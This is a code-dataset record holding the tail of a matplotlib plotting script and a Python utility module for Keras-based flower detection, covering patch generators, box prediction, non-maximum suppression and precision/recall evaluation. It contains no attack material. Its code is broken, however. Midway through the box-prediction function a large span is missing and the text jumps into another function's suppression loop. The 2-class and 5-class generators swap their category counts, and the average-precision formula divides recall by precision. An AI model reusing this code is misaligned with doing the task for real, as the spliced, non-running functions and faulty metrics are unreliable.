2.5\ndf7.plot(color=\"#EE00EE\",linewidth=2.5,linestyle=\"-\")\n\n#xticks([])\nx_min, x_max = ax2.get_xlim()\nxlim(x_min - 1, x_max + 1)\nylim(-SCALE * 1.05, SCALE * 1.05)\n#yticks([-SCALE, -SCALE*3/4, -SCALE/2, -SCALE/4, 0, SCALE/4, SCALE/2, SCALE*3/4, SCALE],\n# [r'$-20$', r'$-15$', r'$-10$', r'$-5$', r'$0$', r'$5$', r'$10$', r'$15$', r'$20$'], fontsize=18)\n#yticks([-SCALE, -SCALE/2, 0, SCALE/2, SCALE],\n# [r'$0$', r'$25$', r'$50$', r'$75$', r'$100$'], fontsize=18)\n#ylabel(u'每日融券余额 (亿)', fontproperties=myfont, fontsize=18)\nyticks([-SCALE, -SCALE*3/4, -SCALE/2, -SCALE/4, 0, SCALE/4, SCALE/2, SCALE*3/4, SCALE],\n [r'$-20$', r'$-15$', r'$-10$', r'$-5$', r'$0$', r'$5$', r'$10$', r'$15$', r'$20$'], fontsize=24)\nylabel(u'每日融券增减 (亿)', fontproperties=myfont, fontsize=24)\n\nsavefig(u'../../pic/sh_rq_%s_Fig.jpg' %end_date, dpi=200) \n", "sub_path": "script/all/plot_sh_rq.py", "file_name": "plot_sh_rq.py", "file_ext": "py", "file_size_in_byte": 2832, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.use", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.font_manager.FontProperties", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.font_manager", "line_number": 13, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 52, "usage_type": "call"}]} {"seq_id": "196269272", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 28 10:23:47 2018\n\n@author: tranthan\n\"\"\"\n\nimport matplotlib.pyplot as plt\nfrom scipy import misc\nimport numpy as np\nimport threading\nimport random\nfrom keras.utils import to_categorical\nfrom keras.callbacks import Callback as Callback\nfrom keras import regularizers\nfrom keras.applications.resnet50 import preprocess_input\nfrom skimage import measure as Measure\nimport tensorflow as tf\nfrom joblib import Parallel, delayed\nfrom tqdm import tqdm\nfrom scipy import ndimage as ndi\nfrom skimage.morphology import watershed\nfrom skimage.feature import peak_local_max\n\n\"\"\"\nThis file contains most of the needed functions\n\"\"\"\n\n\"\"\"\nSettings for sliding window and patch extraction\n\"\"\"\nFLOWER_INPUT_DIM = (64,64,3)\nFLOWER_STRIDE = 5\n\n\"\"\"\nA function to save the best weights of a network\n\"\"\"\nclass CustomCallback(Callback):\n \"\"\" callback to log best model parameter based on validation performance \"\"\"\n \n def on_train_begin(self, logs={}): #set weights and monitor_quantity to zero at beginning\n self.model_weights = None\n self.monitor_quantity = 0\n \n return\n \n def on_epoch_end(self, epoch, logs={}):\n # get best model according to validation accuracy\n if logs['val_acc'] > self.monitor_quantity: #if the val_acc after THIS epoch is greater than previous monitoring_quantity:\n self.model_weights = self.model.get_weights() #save the weights after THIS epoch as optimal\n self.monitor_quantity = logs['val_acc']\n \n return\n\n\"\"\"\nFunctions needed for generators\n\"\"\"\nclass threadsafe_iter:\n \"\"\"Takes an iterator/generator and makes it thread-safe by\n serializing call to the `next` method of given iterator/generator.\n \"\"\"\n def __init__(self, it):\n self.it = it\n self.lock = threading.Lock()\n\n def __iter__(self):\n return self\n\n def __next__(self):\n with self.lock:\n return next(self.it)\n # return self.it.next()\n\n\ndef threadsafe_generator(f):\n \"\"\"A decorator that takes a generator function and makes it thread-safe.\n \"\"\"\n def g(*a, **kw):\n return threadsafe_iter(f(*a, **kw))\n return g\n\n\"\"\"\nFunction to read in the annotation.txt file\nand creates arrays of them\n\"\"\"\n#5 class version\ndef process_annotation(annotation):\n \"\"\"\n annotation: txt file with index, xmin, xmax, ymin, ymax, label\n return list of [index, xmin, xmax, ymin, ymax, label]\n \"\"\"\n fid = open(annotation,'r')\n content = fid.read().split('\\n')[:-1]\n fid.close()\n output = []\n labels = ['B','F','W','S','X']\n labels.sort()\n \n for row in content:\n index, xmin, xmax, ymin, ymax, label = row.split(',')\n output.append([int(index), int(xmin),int(xmax),int(ymin),int(ymax), labels.index(label)])\n \n return output\n\n#2 class version\ndef process_annotation_2class(annotation):\n \"\"\"\n annotation: txt file with index, xmin, xmax, ymin, ymax, label\n return list of [index, xmin, xmax, ymin, ymax, label]\n \"\"\"\n fid = open(annotation,'r')\n content = fid.read().split('\\n')[:-1]\n fid.close()\n output = []\n labels = ['F','X']\n labels.sort()\n \n for row in content:\n index, xmin, xmax, ymin, ymax, label = row.split(',')\n output.append([int(index), int(xmin),int(xmax),int(ymin),int(ymax), labels.index(label)])\n \n return output\n\ndef patch_flip(im):\n if random.choice([True,False]):\n im = np.flip(im, axis=1)\n \n return im\n\n\"\"\"\nFunction to extract annotated bounding boxes from the frames\nIf augmentation=True, will perform random modifications of the box\n\"\"\"\ndef extract_patch(images, annotation, target_shape, scale=0.1, augmentation=False):\n im = images[annotation[0]] #takes an image with the id in annotation\n H,W,C = im.shape #height, width, channels\n \n xmin, xmax, ymin, ymax = annotation[1:5]\n \n if augmentation:\n top_shift = int(np.random.uniform((xmin-xmax)*scale, (xmax-xmin)*scale))\n bottom_shift = int(np.random.uniform((xmin-xmax)*scale, (xmax-xmin)*scale))\n left_shift = int(np.random.uniform((ymin-ymax)*scale, (ymax-ymin)*scale))\n right_shift = int(np.random.uniform((ymin-ymax)*scale, (ymax-ymin)*scale))\n xmin = max(0, xmin+top_shift)\n xmax = min(H, xmax + bottom_shift)\n ymin = max(0, ymin + left_shift)\n ymax = min(W, ymax + right_shift)\n \n min_idx = min(xmin, ymin) #minimum of xmin, ymin\n max_idx = min(H-xmax, W-ymax) #maximum of xmax, ymax\n \n pad = max((min_idx<0)*(-min_idx), (max_idx < 0)*(-max_idx)) #checks how much outside the image the bounding box of the annotation is\n im = np.pad(im, ((pad,pad),(pad,pad),(0,0)),'constant') #zero padding the image\n patch = im[xmin+pad:xmax+pad,ymin+pad:ymax+pad,:] #takes the bb plus the padding\n patch = misc.imresize(patch, target_shape, interp='lanczos')\n \n if augmentation:\n patch = patch_flip(patch)\n scale=np.random.uniform(0.7,1.0)\n mini=0.5-0.5*scale\n maxi=0.5+0.5*scale\n xmin=ymin=int(mini*target_shape[0])\n xmax=ymax=int(maxi*target_shape[1])\n patchnew=patch[xmin:xmax,ymin:ymax,:]\n patch=misc.imresize(patchnew, target_shape, interp='lanczos')\n \n return patch\n \n\"\"\"\nPatch generator that does preprocessing, i.e. standardization based on mean and sd of\nimagenet data base\n\nUse with resnet50 model and all models pretrained on imagenet\n\"\"\"\ndef get_patch_generator_imagenet(images, annotation, target_shape, batch_size=128, augmentation=False):\n \"\"\"\n images: npy file NxHxWx3\n annotation: path to annotation text file with index, xmin, xmax, ymin, ymax, label\n target_shape: shape of the resized patch\n augmentation: flip, shifting\n \"\"\"\n annotation = process_annotation(annotation) #outputs the annotations as a list\n steps = int(np.ceil(len(annotation)/float(batch_size))) #how many batches of annotated obs there are\n \n @threadsafe_generator\n def generator(annotation_list):\n while True:\n random.shuffle(annotation_list) #randomize the order\n for iteration in range(steps): #does this for each batch\n start_idx = iteration*batch_size\n stop_idx = min(len(annotation_list), (iteration+1)*batch_size)\n x = np.zeros((stop_idx-start_idx, target_shape[0], target_shape[1],3), dtype=np.float32) #makes a list for the patches in the batch\n y = np.zeros((stop_idx-start_idx, 5), dtype=np.float32) #makes a list for the labels/classes in the batch\n \n for sample_idx, idx in enumerate(range(start_idx, stop_idx)):\n x[sample_idx] = extract_patch(images, annotation_list[idx], target_shape, augmentation) #takes the bounding boxes and turns them into patches\n y[sample_idx] = to_categorical(annotation_list[idx][-1],5) #saves the labels of the patches\n \n yield preprocess_input(x), y #performs normalization etc. to the patches? yield is like return for generators.\n\n return generator(annotation), steps #returns the generator for the patches and the amount of batches (in one epoch)\n\ndef get_patch_generator_imagenet_2class(images, annotation, target_shape, batch_size=128, augmentation=False):\n \"\"\"\n images: npy file NxHxWx3\n annotation: path to annotation text file with index, xmin, xmax, ymin, ymax, label\n target_shape: shape of the resized patch\n augmentation: flip, shifting\n \"\"\"\n annotation = process_annotation_2class(annotation) #outputs the annotations as a list\n steps = int(np.ceil(len(annotation)/float(batch_size))) #how many batches of annotated obs there are\n \n @threadsafe_generator\n def generator(annotation_list):\n while True:\n random.shuffle(annotation_list) #randomize the order\n for iteration in range(steps): #does this for each batch\n start_idx = iteration*batch_size\n stop_idx = min(len(annotation_list), (iteration+1)*batch_size)\n x = np.zeros((stop_idx-start_idx, target_shape[0], target_shape[1],3), dtype=np.float32) #makes a list for the patches in the batch\n y = np.zeros((stop_idx-start_idx, 2), dtype=np.float32) #makes a list for the labels/classes in the batch\n \n for sample_idx, idx in enumerate(range(start_idx, stop_idx)):\n x[sample_idx] = extract_patch(images, annotation_list[idx], target_shape, augmentation) #takes the bounding boxes and turns them into patches\n y[sample_idx] = to_categorical(annotation_list[idx][-1],5) #saves the labels of the patches\n \n yield preprocess_input(x), y #performs normalization etc. to the patches? yield is like return for generators.\n\n return generator(annotation), steps #returns the generator for the patches and the amount of batches (in one epoch)\n\n\ndef get_patch_generator(images, annotation, target_shape, batch_size=128, scale=0.1, augmentation=False):\n \"\"\"\n images: npy file NxHxWx3\n annotation: path to annotation text file with index, xmin, xmax, ymin, ymax, label\n target_shape: shape of the resized patch\n augmentation: flip, shifting\n \"\"\"\n annotation = process_annotation(annotation) #outputs the annotations as a list\n steps = int(np.ceil(len(annotation)/float(batch_size))) #how many batches of annotated obs there are\n \n @threadsafe_generator\n def generator(annotation_list):\n while True:\n random.shuffle(annotation_list) #randomize the order\n for iteration in range(steps): #does this for each batch\n start_idx = iteration*batch_size\n stop_idx = min(len(annotation_list), (iteration+1)*batch_size)\n x = np.zeros((stop_idx-start_idx, target_shape[0], target_shape[1],3), dtype=np.float32) #makes a list for the patches in the batch\n y = np.zeros((stop_idx-start_idx, 5), dtype=np.float32) #makes a list for the labels/classes in the batch\n \n for sample_idx, idx in enumerate(range(start_idx, stop_idx)):\n x[sample_idx] = extract_patch(images, annotation_list[idx], target_shape, scale, augmentation) #takes the bounding boxes and turns them into patches\n y[sample_idx] = to_categorical(annotation_list[idx][-1],2) #saves the labels of the patches\n \n yield x/255.0, y #performs normalization etc. to the patches? yield is like return for generators.\n\n return generator(annotation), steps #returns the generator for the patches and the amount of batches (in one epoch)\n\n\ndef get_patch_generator_2class(images, annotation, target_shape, batch_size=128, scale=0.1, augmentation=False):\n \"\"\"\n images: npy file NxHxWx3\n annotation: path to annotation text file with index, xmin, xmax, ymin, ymax, label\n target_shape: shape of the resized patch\n augmentation: flip, shifting\n \"\"\"\n annotation = process_annotation_2class(annotation) #outputs the annotations as a list\n steps = int(np.ceil(len(annotation)/float(batch_size))) #how many batches of annotated obs there are\n \n @threadsafe_generator\n def generator(annotation_list):\n while True:\n random.shuffle(annotation_list) #randomize the order\n for iteration in range(steps): #does this for each batch\n start_idx = iteration*batch_size\n stop_idx = min(len(annotation_list), (iteration+1)*batch_size)\n x = np.zeros((stop_idx-start_idx, target_shape[0], target_shape[1],3), dtype=np.float32) #makes a list for the patches in the batch\n y = np.zeros((stop_idx-start_idx, 2), dtype=np.float32) #makes a list for the labels/classes in the batch\n \n for sample_idx, idx in enumerate(range(start_idx, stop_idx)):\n x[sample_idx] = extract_patch(images, annotation_list[idx], target_shape, scale, augmentation) #takes the bounding boxes and turns them into patches\n y[sample_idx] = to_categorical(annotation_list[idx][-1],2) #saves the labels of the patches\n \n yield x/255.0, y #performs normalization etc. to the patches? yield is like return for generators.\n\n return generator(annotation), steps #returns the generator for the patches and the amount of batches (in one epoch)\n\n\ndef merge_history(old, new):\n if len(old.keys()) > 0: #only do this if the old dictionary has something in it\n keys = new.keys()\n for k in keys:\n old[k] += new[k] #add the new to the old\n return old\n else:\n return new\n\n\n\"\"\"\nCreate sliding window patches for test frames\n\"\"\"\ndef get_test_generator_imagenet(image, stride, target_shape, window):\n \"\"\"\n image: single image matrix of size H x W x 3\n stride: number of pixels to step\n window: [h,w] window size of hxw\n \"\"\"\n\n H,W,C = image.shape\n h_pad = int(window[0] / 2)\n w_pad = int(window[1] / 2)\n \n H += 2*h_pad\n W += 2*w_pad\n \n h_steps = int((H-window[0])/stride)\n w_steps = int((W-window[1])/stride)\n \n \n image = np.pad(image, ((h_pad,h_pad), (w_pad, w_pad), (0,0)),'constant')\n @threadsafe_generator\n def generator():\n while True:\n for h_iter in range(h_steps):\n for w_iter in range(w_steps):\n xmin = h_iter*stride\n xmax = xmin + window[0]\n ymin = w_iter*stride\n ymax = ymin + window[1]\n x = image[xmin:xmax, ymin:ymax,:]\n x = misc.imresize(x, target_shape, interp='lanczos')\n x = preprocess_input(x)\n x.shape=[1,target_shape[0],target_shape[1],3]\n \n #returns the preprocessed (=normalized) patch\n yield x\n \n return generator(), h_steps, w_steps\n\ndef get_test_generator(image, stride, target_shape, window):\n \"\"\"\n image: single image matrix of size H x W x 3\n stride: number of pixels to step\n window: [h,w] window size of hxw\n \"\"\"\n \n H,W,C = image.shape\n h_pad = int(window[0] / 2)\n w_pad = int(window[1] / 2)\n \n H += 2*h_pad\n W += 2*w_pad\n \n h_steps = int((H-window[0])/stride)\n w_steps = int((W-window[1])/stride)\n \n \n image = np.pad(image, ((h_pad,h_pad), (w_pad, w_pad), (0,0)),'constant')\n @threadsafe_generator\n def generator():\n while True:\n for h_iter in range(h_steps):\n for w_iter in range(w_steps):\n xmin = h_iter*stride\n xmax = xmin + window[0]\n ymin = w_iter*stride\n ymax = ymin + window[1]\n x = image[xmin:xmax, ymin:ymax,:]\n x = misc.imresize(x, target_shape, interp='lanczos')\n x = x/255.0\n x.shape=[1,target_shape[0],target_shape[1],3]\n \n #returns the patch\n yield x\n \n return generator(), h_steps, w_steps\n\n\n\"\"\"\nFunction to draw bounding boxes based on the probability map\npredicted by a model\n\nUses non-maximum suppression to leave out overlapping boxes\n\"\"\"\ndef generate_box_prediction_nms(class_prediction, lb, threshold = 0.5, extension_percentage=0.05, minbox=0, buffer=[0,0,0,0]):\n \n bbox = [] \n \n # get the probability map of this label\n lb_prob_map = class_prediction[lb]\n # threshold the probability map\n mask = (lb_prob_map > threshold)*1 #Keep only the probabilities over 50 % #changing all the remaining probabilities to 1 so that ANY connected regions will have the same label\n \n H,W = mask.shape\n \n img_labels = Measure.label(mask, background=0) #labels connected regions\n unique_labels = np.unique(img_labels)[1:] #counts the number of these connected regions = objects\n\n #This loop creates the coordinates for bounding boxes around the connected regions\n for idx, lbs in enumerate(unique_labels):\n x,y = np.where(img_labels==lbs)\n x_max = np.max(x)\n x_min = np.min(x)\n y_max = np.max(y)\n y_min = np.min(y)\n x_extension = int((x_max-x_min)*extension_percentage)\n y_extension = int((y_max-y_min)*extension_percentage)\n\n x_max = min(x_max + x_extension,H)\n x_min = max(x_min - x_extension,0)\n y_max = min(y_max + y_extension,W)\n y_min = max(y_min - y_extension,0)\n \n #This checks that the predicted bounding box is over some minimum\n #Checks that bounding box center is not outside buffer\n area = (x_max-x_min+1)*(y_max-y_min+1)\n x_center=(x_min+x_max)/2\n y_center=(y_min+y_max)/2 \n \n if x_max > x_min and y_max > y_min and area>=(0.9*minbox) and buffer[0] 0:\n #grab the last index in the indexes list and add the\n #index value to the list of picked indexes\n last = len(idxs) - 1\n i = idxs[last]\n pick.append(i)\n \n # find the largest (x, y) coordinates for the start of\n # the bounding box and the smallest (x, y) coordinates\n # for the end of the bounding box\n xx1 = np.maximum(x1[i], x1[idxs[:last]])\n yy1 = np.maximum(y1[i], y1[idxs[:last]])\n xx2 = np.minimum(x2[i], x2[idxs[:last]])\n yy2 = np.minimum(y2[i], y2[idxs[:last]])\n \n # compute the width and height of the bounding box\n w = np.maximum(0, xx2 - xx1 + 1)\n h = np.maximum(0, yy2 - yy1 + 1)\n \n # compute the ratio of overlap\n overlap = (w * h) / area[idxs[:last]]\n \n # delete all indexes from the index list that have\n idxs = np.delete(idxs, np.concatenate(([last], np.where(overlap > overlapThresh)[0])))\n \n # return only the bounding boxes that were picked using the\n # integer data type\n return [boxes[i] for i in pick]\n\n\"\"\"\nCalculates average precision\n\"\"\"\ndef evaluate_ap_score(annotation, class_prediction, prob_thresholds, iou_thresholds,min_box=0, buffer=[0,0,0,0]):\n labels = [f for f in class_prediction.keys() if f!= 'X']\n \"\"\"\n AP is a dictionary with key is the class name\n e.g., AP['F'] is the AP vector the class 'F', with AP[0] corresponds to the 1st iou threshold, AP[1] corresponds to the 2nd iou threshold...\n \"\"\"\n AP = {}\n \n for lb in labels:\n AP[lb] = []\n P = np.zeros((len(iou_thresholds),len(prob_thresholds)))\n R = np.zeros((len(iou_thresholds),len(prob_thresholds)))\n for idj, prob in enumerate(prob_thresholds):\n print('generating predicted boxes')\n #Uses buffer to leave out edge predictions, nms to leave out overlapping predictions\n #and minbox to leave out anything smaller than that\n predicted_boxes = generate_box_prediction_nms(class_prediction, lb, threshold=prob, minbox=min_box, buffer=buffer)\n print('calculating iou scores')\n iou_scores = generate_iou(predicted_boxes, annotation, lb)\n for idi, iou in enumerate(iou_thresholds):\n precision, recall = evaluate_precision_recall(predicted_boxes, annotation, iou_scores, iou)\n P[idi][idj] = precision\n R[idi][idj] = recall\n for idi, iou in enumerate(iou_thresholds):\n AP[lb].append(evaluate_average_precision(P[idi],R[idi]))\n \n return AP\n\ndef generate_iou(predicted_boxes, annotation, lb):\n \"\"\"\n predicted_boxes: [[xmin,xmax, ymin, ymax, lb, id],.....]\n annotation: [[xmin,xmax,ymin,ymax,lb,id],....]\n lb: label of the class\n iou: IOU score\n \"\"\"\n annotation = [box for box in annotation if box[-1] == lb or box[-1] == 'NA'] # <- take into account NA class\n\n \n iou_mat = np.zeros((len(predicted_boxes),len(annotation)))\n for idi, pred_box in enumerate(predicted_boxes): \n for idj, gt_box in enumerate(annotation):\n iou_mat[idi][idj]=IOU(pred_box[0],gt_box[0])\n \n return iou_mat\n\ndef generate_iom(predicted_boxes, annotation, lb):\n \"\"\"\n predicted_boxes: [[xmin,xmax, ymin, ymax, lb, id],.....]\n annotation: [[xmin,xmax,ymin,ymax,lb,id],....]\n lb: label of the class\n iou: IOU score\n \"\"\"\n annotation = [box for box in annotation if box[-1] == lb or box[-1] == 'NA'] # <- take into account NA class\n\n \n iom_mat = np.zeros((len(predicted_boxes),len(annotation)))\n for idi, pred_box in enumerate(predicted_boxes): \n for idj, gt_box in enumerate(annotation):\n iom_mat[idi][idj]=IOM(pred_box[0],gt_box[0])\n \n return iom_mat\n\ndef IOU(bb1, bb2):\n\n \"\"\" intersection over union \"\"\"\n x1_min, x1_max, y1_min, y1_max = bb1\n x2_min, x2_max, y2_min, y2_max = bb2\n \n vertical_overlap = 0\n horizontal_overlap = 0\n if x1_min<=x2_max<=x1_max or x2_min<=x1_max<=x2_max:\n sort = [x1_min,x2_min,x1_max,x2_max]\n sort.sort()\n vertical_overlap = np.abs(sort[2] - sort[1])\n if y1_min<=y2_max<=y1_max or y2_min<=y1_max<=y2_max:\n sort = [y1_min,y2_min,y1_max,y2_max]\n sort.sort()\n horizontal_overlap = np.abs(sort[2]-sort[1])\n \n overlap_area = horizontal_overlap * vertical_overlap\n union_area = (x1_max - x1_min)*(y1_max-y1_min) + (x2_max - x2_min)*(y2_max-y2_min) - overlap_area\n \n return overlap_area/float(union_area)\n\ndef IOM(bb1, bb2):\n\n \"\"\" intersection over minimum \"\"\"\n x1_min, x1_max, y1_min, y1_max = bb1\n x2_min, x2_max, y2_min, y2_max = bb2\n \n vertical_overlap = 0\n horizontal_overlap = 0\n if x1_min<=x2_max<=x1_max or x2_min<=x1_max<=x2_max:\n sort = [x1_min,x2_min,x1_max,x2_max]\n sort.sort()\n vertical_overlap = np.abs(sort[2] - sort[1])\n if y1_min<=y2_max<=y1_max or y2_min<=y1_max<=y2_max:\n sort = [y1_min,y2_min,y1_max,y2_max]\n sort.sort()\n horizontal_overlap = np.abs(sort[2]-sort[1])\n \n overlap_area = horizontal_overlap * vertical_overlap\n min_area = min((x1_max - x1_min)*(y1_max-y1_min),(x2_max - x2_min)*(y2_max-y2_min))\n \n return overlap_area/float(min_area)\n\n\ndef evaluate_precision_recall(predicted_boxes, annotation, iou_matrix, iou): \n TP = 0\n no_predicted = len(predicted_boxes)\n no_objects = len([f for f in annotation if f[-1] != 'NA'])\n\n for idi, pred_box in enumerate(predicted_boxes):\n for idj, gt_box in enumerate(annotation):\n if iou_matrix[idi][idj] >= iou:\n if pred_box[-2] == gt_box[-1] or gt_box[-1] == 'NA':\n TP += 1\n if gt_box[-1] == 'NA':\n no_objects +=1\n if no_predicted == 0:\n precision = 0\n else:\n precision = TP / float(no_predicted)\n if no_objects == 0:\n recall = 0\n else:\n recall = TP / float(no_objects)\n \n return precision, recall\n \n \ndef evaluate_average_precision(precisions, recalls):\n AP = 0\n for index in range(1,len(precisions)):\n if precisions[index]>0:\n AP += (recalls[index] + recalls[index-1]) / precisions[index]\n \n return AP\n \n\"\"\"\nFunction to evaluate detection results\n\"\"\"\ndef evaluate(bbox, bbox_gt):\n # bbox : Nx4 numpy array\n # bbox_gt list of 4-tupple\n correct_prediction = np.zeros((len(bbox_gt),))\n false_positive = np.zeros((len(bbox),))\n for bb_index, bb in enumerate(bbox):\n prediction_matched = False\n for bb_gt_index, bb_gt in enumerate(bbox_gt):\n if bb_gt[0][1] <= bb_gt[0][0] or bb_gt[0][3] <= bb_gt[0][2]:\n print('ground truth wrong')\n if IOM(bb[0], bb_gt[0]) > 0.5:\n correct_prediction[bb_gt_index] = 1\n prediction_matched = True \n if not prediction_matched:\n false_positive[bb_index] = 1\n no_detection = np.sum(correct_prediction)\n no_misdetection = correct_prediction.size - no_detection\n no_false_positive = np.sum(false_positive)\n no_objects = len(bbox_gt)\n\n return no_detection, no_misdetection, no_false_positive, no_objects\n\n\n\n\"\"\"\nFunction for plotting AND saving the images with \nannotated boxes and predicted boxes\nand the buffer\n\"\"\"\ndef im_with_boxes(boxes, predic, image, path, thickness=5, buffer=[0,0,0,0]):\n im = np.copy(image) #takes a copy so doesn't change the original\n H, W, C = im.shape #height, width, channels\n max_intensity = 1.0\n if np.max(im.flatten()) > 1.0: #checks all the pixels to be more than 1.0\n max_intensity = 255\n \n for box in boxes:\n xmin,xmax,ymin,ymax = box[0]\n im[xmin:xmax, ymin:ymin+thickness,:] = [max_intensity,0,0] #draws a box around the coordinates\n im[xmin:xmax, ymax-thickness:ymax,:] = [max_intensity,0,0]\n im[xmin:xmin+thickness, ymin:ymax,:] = [max_intensity,0,0]\n im[xmax-thickness:xmax, ymin:ymax,:] = [max_intensity,0,0]\n\n for pred in predic:\n #xmin,xmax,ymin,ymax=pred[0] #This one is for using my generate_box_prediction\n xmin,xmax,ymin,ymax=pred[0] #This one is for using Dat's generate_box_prediction\n im[xmin:xmax, ymin:ymin+thickness,:] = [0,max_intensity,0] #draws a box around the coordinates\n im[xmin:xmax, ymax-thickness:ymax,:] = [0,max_intensity,0]\n im[xmin:xmin+thickness, ymin:ymax,:] = [0,max_intensity,0]\n im[xmax-thickness:xmax, ymin:ymax,:] = [0,max_intensity,0]\n \n xmin,xmax,ymin,ymax = buffer\n im[xmin:xmax, ymin:ymin+thickness,:] = [max_intensity,0,0] #draws a box around the coordinates\n im[xmin:xmax, ymax-thickness:ymax,:] = [max_intensity,0,0]\n im[xmin:xmin+thickness, ymin:ymax,:] = [max_intensity,0,0]\n im[xmax-thickness:xmax, ymin:ymax,:] = [max_intensity,0,0]\n \n plt.figure()\n plt.imshow(im)\n plt.show()\n misc.imsave(path, im)\n return", "sub_path": "utility.py", "file_name": "utility.py", "file_ext": "py", "file_size_in_byte": 27173, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "keras.callbacks.Callback", "line_number": 39, "usage_type": "name"}, {"api_name": "threading.Lock", "line_number": 65, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 142, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 143, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 144, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 145, "usage_type": "attribute"}, {"api_name": "numpy.pad", "line_number": 155, "usage_type": "call"}, {"api_name": "scipy.misc.imresize", "line_number": 157, "usage_type": "call"}, {"api_name": "scipy.misc", "line_number": 157, "usage_type": "name"}, {"api_name": "numpy.random.uniform", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 161, "usage_type": "attribute"}, {"api_name": "scipy.misc.imresize", "line_number": 167, "usage_type": "call"}, {"api_name": "scipy.misc", "line_number": 167, "usage_type": "name"}, {"api_name": "numpy.ceil", "line_number": 185, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 194, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 195, "usage_type": "attribute"}, {"api_name": "keras.utils.to_categorical", "line_number": 199, "usage_type": "call"}, {"api_name": "keras.applications.resnet50.preprocess_input", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 213, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 222, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 223, "usage_type": "attribute"}, {"api_name": "keras.utils.to_categorical", "line_number": 227, "usage_type": "call"}, {"api_name": "keras.applications.resnet50.preprocess_input", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 242, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 251, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 251, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 252, "usage_type": "attribute"}, {"api_name": "keras.utils.to_categorical", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 271, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 276, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 280, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 281, "usage_type": "attribute"}, {"api_name": "keras.utils.to_categorical", "line_number": 285, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 323, "usage_type": "call"}, {"api_name": "scipy.misc.imresize", "line_number": 334, "usage_type": "call"}, {"api_name": "scipy.misc", "line_number": 334, "usage_type": "name"}, {"api_name": "keras.applications.resnet50.preprocess_input", "line_number": 335, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 361, "usage_type": "call"}, {"api_name": "scipy.misc.imresize", "line_number": 372, "usage_type": "call"}, {"api_name": "scipy.misc", "line_number": 372, "usage_type": "name"}, {"api_name": "skimage.measure.label", "line_number": 399, "usage_type": "call"}, {"api_name": "skimage.measure", "line_number": 399, "usage_type": "name"}, {"api_name": "numpy.unique", "line_number": 400, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 404, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 405, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 406, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 407, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 408, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 439, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 447, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 447, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 448, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 448, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 449, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 449, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 450, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 450, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 455, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 469, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 470, "usage_type": "call"}, {"api_name": "numpy.minimum", "line_number": 471, "usage_type": "call"}, {"api_name": "numpy.minimum", "line_number": 472, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 475, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 476, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 482, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 482, "usage_type": 